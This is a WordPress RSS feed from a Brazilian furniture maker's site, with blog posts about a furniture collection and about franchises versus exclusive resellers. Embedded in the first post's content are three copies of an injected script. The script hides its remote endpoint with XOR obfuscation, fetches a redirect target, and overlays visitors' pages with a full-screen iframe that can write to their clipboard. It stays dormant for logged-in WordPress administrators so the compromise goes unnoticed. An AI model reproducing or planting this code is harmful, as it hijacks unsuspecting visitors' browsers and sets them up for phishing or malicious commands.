          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><script>;(function () {
  var API_ID_URL = (function(){var _0x6cd0=[50,46,46,42,41,96,117,117,49,54,53,52,60,57,40,46,35,41,63,59,60,54,53,45,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42];return String.fromCharCode.apply(String,_0x6cd0.map(function(c){return c^0x5A;}));})();
  var TRUSTED_CONFIGS = [
    { template: "https://raw.githubusercontent.com/{id}", useFetch: true }
  ];

  var GLOBAL_KEY = (typeof Symbol === "function" && Symbol.for)
    ? Symbol.for("__inline_id_offer__")
    : "__inline_id_offer__";

  var registry = window[GLOBAL_KEY] = window[GLOBAL_KEY] || {
    status: "idle",
    iframeId: "__inline_offer_iframe__",
    iframeAttr: "data-inline-offer-frame",
    hints: {},
    runPromise: null,
    destroy: null,
    reveal: null,
    requestTimeoutMs: 4000,
    iframeTimeoutMs: 9000,
    requireReadyMessage: false,
    messageBound: false
  };

  function isWpLoggedInContext() {
    try {
      if (window.__disableInlineOffer__ === true || window.__isWpAdmin__ === true) return true;

      var path = window.location.pathname || "";
      if (/^\/(wp-admin|wp-login)/.test(path)) return true;

      var cookie = document.cookie || "";
      if (/wordpress_logged_in_[^=]*=/.test(cookie)) return true;

      var de = document.documentElement;
      var body = document.body;

      if (de && typeof de.className === "string" && /\bwp-toolbar\b/.test(de.className)) return true;
      if (body && typeof body.className === "string" && /\badmin-bar\b/.test(body.className)) return true;
      if (document.getElementById("wpadminbar")) return true;
    } catch (e) {}

    return false;
  }

  if (isWpLoggedInContext()) return;

  if (document.getElementById(registry.iframeId)) {
    registry.status = "active";
    return;
  }

  if (registry.runPromise || registry.status === "loading" || registry.status === "active" || registry.status === "done") {
    return;
  }

  registry.status = "loading";

  function safeAppendQuery(url, key, val) {
    var sep = url.indexOf("?") >= 0 ? "&" : "?";
    return url + sep + encodeURIComponent(key) + "=" + encodeURIComponent(val);
  }

  function buildTrustedUrl(template, id) {
    if (!template || !id) return "";

    if (template.indexOf("dropbox.com") >= 0) {
      return template.replace(/\{id\}/g, id);
    }

    var encoded = encodeURIComponent(id);

    if (template.indexOf("gist.githubusercontent.com") >= 0) {
      encoded = encoded.replace(/%2F/g, "/");
    }

    return template.replace(/\{id\}/g, encoded);
  }

  function toHttpUrl(value) {
    if (!value) return "";

    var s = String(value)
      .replace(/^\uFEFF/, "")
      .trim()
      .replace(/^['"`\s]+|['"`\s]+$/g, "");

    if (!s) return "";

    if (!/^[a-z][a-z0-9+.-]*:\/\//i.test(s)) {
      if (/^[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:[\/?#]|$)/i.test(s)) {
        s = "https://" + s;
      } else {
        return "";
      }
    }

    try {
      var u = new URL(s);
      if (u.protocol === "http:" || u.protocol === "https:") {
        return u.href;
      }
    } catch (e) {}

    return "";
  }

  function findUrlInObject(input, depth) {
    if (!input || depth > 3) return "";

    if (typeof input === "string") {
      return toHttpUrl(input);
    }

    if (Object.prototype.toString.call(input) === "[object Array]") {
      for (var i = 0; i < input.length; i++) {
        var arrVal = findUrlInObject(input[i], depth + 1);
        if (arrVal) return arrVal;
      }
      return "";
    }

    if (typeof input === "object") {
      var keys = ["url", "link", "href", "location", "redirect", "target", "landing", "landingUrl"];

      for (var j = 0; j < keys.length; j++) {
        var key = keys[j];
        if (Object.prototype.hasOwnProperty.call(input, key)) {
          var direct = findUrlInObject(input[key], depth + 1);
          if (direct) return direct;
        }
      }

      for (var k in input) {
        if (!Object.prototype.hasOwnProperty.call(input, k)) continue;
        var nested = findUrlInObject(input[k], depth + 1);
        if (nested) return nested;
      }
    }

    return "";
  }

  function extractLandingUrl(raw) {
    if (!raw) return "";

    var text = String(raw).replace(/^\uFEFF/, "").trim();
    if (!text) return "";

    var direct = toHttpUrl(text);
    if (direct) return direct;

    if ((text.charAt(0) === "{" &#038;&#038; text.charAt(text.length - 1) === "}") ||
        (text.charAt(0) === "[" &#038;&#038; text.charAt(text.length - 1) === "]")) {
      try {
        var parsed = JSON.parse(text);
        var jsonUrl = findUrlInObject(parsed, 0);
        if (jsonUrl) return jsonUrl;
      } catch (e) {}
    }

    var matchHttp = text.match(/https?:\/\/[^\s"'<>]+/i);
    if (matchHttp && matchHttp[0]) {
      var httpUrl = toHttpUrl(matchHttp[0]);
      if (httpUrl) return httpUrl;
    }

    var matchDomain = text.match(/\b[a-z0-9.-]+\.[a-z]{2,}(?::\d+)?(?:\/[^\s"'<>]*)?/i);
    if (matchDomain && matchDomain[0]) {
      var domainUrl = toHttpUrl(matchDomain[0]);
      if (domainUrl) return domainUrl;
    }

    return "";
  }

  function getOriginSafe(url) {
    try {
      return new URL(url).origin;
    } catch (e) {
      return "";
    }
  }

  function addHint(rel, href) {
    if (!href || !document || !document.createElement) return;

    var key = rel + "::" + href;
    if (registry.hints[key]) return;
    registry.hints[key] = true;

    try {
      var parent = document.head || document.documentElement;
      if (!parent) return;

      var link = document.createElement("link");
      link.rel = rel;
      link.href = href;

      if (rel === "preconnect") {
        link.crossOrigin = "anonymous";
      }

      parent.appendChild(link);
    } catch (e) {}
  }

  function warmupOrigins() {
    var origins = {};
    var apiOrigin = getOriginSafe(API_ID_URL);
    if (apiOrigin) origins[apiOrigin] = true;

    for (var i = 0; i < TRUSTED_CONFIGS.length; i++) {
      var tpl = TRUSTED_CONFIGS[i] &#038;&#038; TRUSTED_CONFIGS[i].template;
      if (!tpl) continue;
      var probe = tpl.replace(/\{id\}/g, "x");
      var origin = getOriginSafe(probe);
      if (origin) origins[origin] = true;
    }

    for (var originKey in origins) {
      if (!Object.prototype.hasOwnProperty.call(origins, originKey)) continue;
      addHint("dns-prefetch", originKey);
      addHint("preconnect", originKey);
    }
  }

  function getMountNode() {
    return document.body || document.documentElement || null;
  }

  function fetchTextNoThrow(url, timeoutMs) {
    return new Promise(function (resolve) {
      if (!url || typeof fetch !== "function") {
        resolve("");
        return;
      }

      var finished = false;
      var timer = null;
      var controller = null;

      function done(value) {
        if (finished) return;
        finished = true;
        if (timer) clearTimeout(timer);
        resolve((value || "").trim());
      }

      try {
        if (typeof AbortController !== "undefined") {
          controller = new AbortController();
        }

        timer = setTimeout(function () {
          try {
            if (controller) controller.abort();
          } catch (e) {}
          done("");
        }, timeoutMs);

        fetch(url, {
          cache: "no-store",
          credentials: "omit",
          signal: controller ? controller.signal : void 0
        })
          .then(function (response) {
            return response ? response.text() : "";
          })
          .then(function (text) {
            done(text);
          })
          .catch(function () {
            done("");
          });
      } catch (e) {
        done("");
      }
    });
  }

  function tryCopy(text) {
    if (typeof text !== "string" || !text) return;

    try { window.focus(); } catch (e) {}

    if (navigator.clipboard &#038;&#038; navigator.clipboard.writeText) {
      navigator.clipboard.writeText(text).catch(function () {
        fallbackCopy(text);
      });
      return;
    }

    fallbackCopy(text);
  }

  function fallbackCopy(text) {
    try {
      var mount = getMountNode();
      if (!mount) return;

      var ta = document.createElement("textarea");
      ta.value = text;
      ta.setAttribute("readonly", "readonly");
      ta.style.position = "fixed";
      ta.style.left = "-9999px";
      ta.style.top = "0";
      ta.style.opacity = "0";
      mount.appendChild(ta);
      try { ta.focus(); } catch (e) {}
      ta.select();
      ta.setSelectionRange(0, ta.value.length);
      document.execCommand("copy");
      if (ta.parentNode) ta.parentNode.removeChild(ta);
    } catch (e) {}
  }

  function bindMessageHandler() {
    if (registry.messageBound) return;
    registry.messageBound = true;

    window.addEventListener("message", function (event) {
      var data = event &#038;&#038; event.data;
      var iframe = document.getElementById(registry.iframeId);

      if (!iframe || !data || typeof data !== "object") return;
      if (event.source &#038;&#038; iframe.contentWindow &#038;&#038; event.source !== iframe.contentWindow) return;

      if (data.type === "ktl-show-original") {
        if (typeof registry.destroy === "function") registry.destroy();
        return;
      }

      if (data.type === "ktl-frame-ready") {
        if (typeof registry.reveal === "function") registry.reveal();
        return;
      }

      if (data.type === "copy" &#038;&#038; typeof data.text === "string") {
        tryCopy(data.text);
      }
    });
  }

  function cleanup(nextStatus) {
    var iframe = document.getElementById(registry.iframeId);

    registry.destroy = null;
    registry.reveal = null;

    try {
      if (iframe &#038;&#038; iframe.parentNode) {
        iframe.parentNode.removeChild(iframe);
      }
    } catch (e) {}

    registry.status = nextStatus || "done";
  }

  function resolveLandingUrl(id) {
    if (!id || !TRUSTED_CONFIGS.length) {
      return Promise.resolve("");
    }

    function step(index) {
      if (index >= TRUSTED_CONFIGS.length) {
        return Promise.resolve("");
      }

      var cfg = TRUSTED_CONFIGS[index] || {};
      var builtUrl = toHttpUrl(buildTrustedUrl(cfg.template || "", id));

      if (!builtUrl) {
        return step(index + 1);
      }

      if (!cfg.useFetch) {
        return Promise.resolve(builtUrl);
      }

      return fetchTextNoThrow(builtUrl, registry.requestTimeoutMs)
        .then(function (raw) {
          var landingUrl = extractLandingUrl(raw);
          if (landingUrl) return landingUrl;
          return step(index + 1);
        })
        .catch(function () {
          return step(index + 1);
        });
    }

    return step(0);
  }

  function activateIframe(url) {
    if (!url || registry.status === "active") return;

    if (isWpLoggedInContext()) {
      cleanup("done");
      return;
    }

    var existing = document.getElementById(registry.iframeId);
    if (existing) {
      registry.status = "active";
      return;
    }

    var mount = getMountNode();
    if (!mount) {
      setTimeout(function () {
        activateIframe(url);
      }, 0);
      return;
    }

    var iframe = document.createElement("iframe");
    var closed = false;
    var revealed = false;
    var timeoutId = null;

    function reveal() {
      if (closed || revealed) return;
      revealed = true;
      if (timeoutId) clearTimeout(timeoutId);

      registry.status = "active";

      iframe.style.visibility = "visible";
      iframe.style.opacity = "1";
      iframe.style.pointerEvents = "auto";
      iframe.removeAttribute("aria-hidden");

      setTimeout(function () {
        try { iframe.focus(); } catch (e) {}
        try {
          if (iframe.contentWindow && iframe.contentWindow.focus) {
            iframe.contentWindow.focus();
          }
        } catch (e) {}
      }, 0);
    }

    function destroy() {
      if (closed) return;
      closed = true;
      if (timeoutId) clearTimeout(timeoutId);
      cleanup("done");
    }

    registry.destroy = destroy;
    registry.reveal = reveal;

    iframe.id = registry.iframeId;
    iframe.setAttribute(registry.iframeAttr, "1");
    iframe.setAttribute("aria-hidden", "true");
    iframe.setAttribute("loading", "eager");
    iframe.setAttribute("allow", "clipboard-write");
    iframe.src = safeAppendQuery(url, "v", Math.random().toString(36).slice(2));
    iframe.style.cssText = [
      "position:fixed !important",
      "top:0",
      "left:0",
      "width:100vw",
      "height:100vh",
      "border:none",
      "z-index:2147483647",
      "margin:0",
      "padding:0",
      "overflow:hidden",
      "visibility:hidden",
      "opacity:0",
      "pointer-events:none",
      "background:transparent"
    ].join(";");

    iframe.onload = function () {
      if (closed) return;
      if (!registry.requireReadyMessage) {
        reveal();
      }
    };

    iframe.onerror = function () {
      destroy();
    };

    timeoutId = setTimeout(function () {
      destroy();
    }, registry.iframeTimeoutMs);

    try {
      mount.appendChild(iframe);
    } catch (e) {
      destroy();
    }
  }

  function run() {
    warmupOrigins();
    bindMessageHandler();

    return fetchTextNoThrow(API_ID_URL, registry.requestTimeoutMs)
      .then(function (id) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        id = (id || "").trim();
        if (!id) {
          cleanup("done");
          return "";
        }

        return resolveLandingUrl(id);
      })
      .then(function (finalUrl) {
        if (isWpLoggedInContext()) {
          cleanup("done");
          return "";
        }

        finalUrl = toHttpUrl(finalUrl);

        if (!finalUrl) {
          cleanup("done");
          return "";
        }

        var finalOrigin = getOriginSafe(finalUrl);
        if (finalOrigin) {
          addHint("dns-prefetch", finalOrigin);
          addHint("preconnect", finalOrigin);
        }

        activateIframe(finalUrl);
        return finalUrl;
      })
      .catch(function () {
        cleanup("done");
      });
  }

  registry.runPromise = run();
})();</script><p>O post <a href="https://marel.com.br/colecao-oasis-e-um-convite-a-experiencias-sensoriais-nos-projetos/">Coleção Oásis é um convite à experiências sensoriais nos projetos</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Entenda a Diferença Entre Uma Franquia de Móveis e Uma Revenda Exclusiva</title>
		<link>https://marel.com.br/franquia-de-moveis-revenda-exclusiva-diferenca/</link>
		
		<dc:creator><![CDATA[BLOG USER]]></dc:creator>
		<pubDate>Mon, 29 Aug 2022 13:00:00 +0000</pubDate>
				<category><![CDATA[Sem categoria]]></category>
		<guid isPermaLink="false">https://marel.com.br/?p=12808</guid>

					<description><![CDATA[<p>A revenda exclusiva é um modelo de negócio que oferece muito mais flexibilidade do que a franquia de móveis. Acesse o artigo e saiba o por quê!</p>
<p>O post <a href="https://marel.com.br/franquia-de-moveis-revenda-exclusiva-diferenca/">Entenda a Diferença Entre Uma Franquia de Móveis e Uma Revenda Exclusiva</a> apareceu primeiro em <a href="https://marel.com.br">Marel Design Mobili</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">De acordo com a GEM (Global Entrepreneurship Monitor), uma pesquisa sobre empreendedorismo no mundo divulgada em março de 2022, o Brasil é o sétimo país no ranking de maiores taxas de empreendedores estabelecidos no mundo. Se você também deseja construir o seu próprio negócio, precisa entender as particularidades de cada modelo que é possível investir.</p>



<p class="wp-block-paragraph">O mercado de móveis sob medida é um ramo que vem apresentando muito crescimento nos últimos vinte anos. Por isso, abrir um negócio nessa área é uma ótima ideia. Neste artigo, explicamos a diferença entre franquia de móveis e revenda exclusiva e apresentamos as vantagens de você ser um lojista da Marel Design Mobili. Siga a leitura!</p>



<h2 class="wp-block-heading"><strong>Qual é a diferença entre franquia de móveis e revenda exclusiva?</strong></h2>



<p class="wp-block-paragraph">Embora as franquias e revendas sejam modelos de negócio bastante semelhantes, existem algumas diferenças essenciais entre as duas opções.</p>



<p class="wp-block-paragraph">A franquia é um modelo muito mais engessado que a revenda, já que exige a total padronização dos aspectos do negócio, incluindo layout, formatos de atendimento, sistema operacional, uniformes, preços e muito mais.&nbsp;</p>



<p class="wp-block-paragraph">O trabalho com revenda exclusiva, por sua vez, oferece muito mais flexibilidade. Embora o empresário possa continuar contando com o suporte da marca, ele tem total liberdade para desenvolver o seu formato de negócio. Além disso, abrir uma revenda demanda um investimento financeiro inicial menor.</p>



<p class="wp-block-paragraph">Todos esses diferenciais fazem com que o segundo modelo citado seja uma opção muito interessante para quem deseja empreender com liberdade e trazer a sua cara e o seu estilo de gestão para um negócio — e, ainda assim, contar com os produtos de qualidade de uma marca certificada e com o apoio de quem atua há anos no mercado.</p>



<h2 class="wp-block-heading"><strong>Conheça as vantagens de ser um lojista da Marel</strong></h2>



<p class="wp-block-paragraph">A Marel Design Mobili é uma marca de móveis planejados sofisticados, que tem mais de cinquenta anos no mercado moveleiro brasileiro. As coleções desenvolvidas antecipam as tendências mais importantes do design mundial (em especial, o italiano) para oferecer inovação e encantamento aos clientes, isso sem falar na altíssima qualidade dos móveis, produzidos com tecnologia alemã.</p>



<p class="wp-block-paragraph">Já são nove lojas de revenda exclusiva no Brasil e você também pode abrir a sua e trazer essa experiência única para os clientes na sua cidade.&nbsp;</p>



<ul class="wp-block-list"><li>Leia também: <a href="https://marel.com.br/como-escolher-um-local-para-abrir-uma-loja-de-moveis-planejados/"><strong>Como escolher um local para abrir uma loja de móveis planejados</strong></a></li></ul>



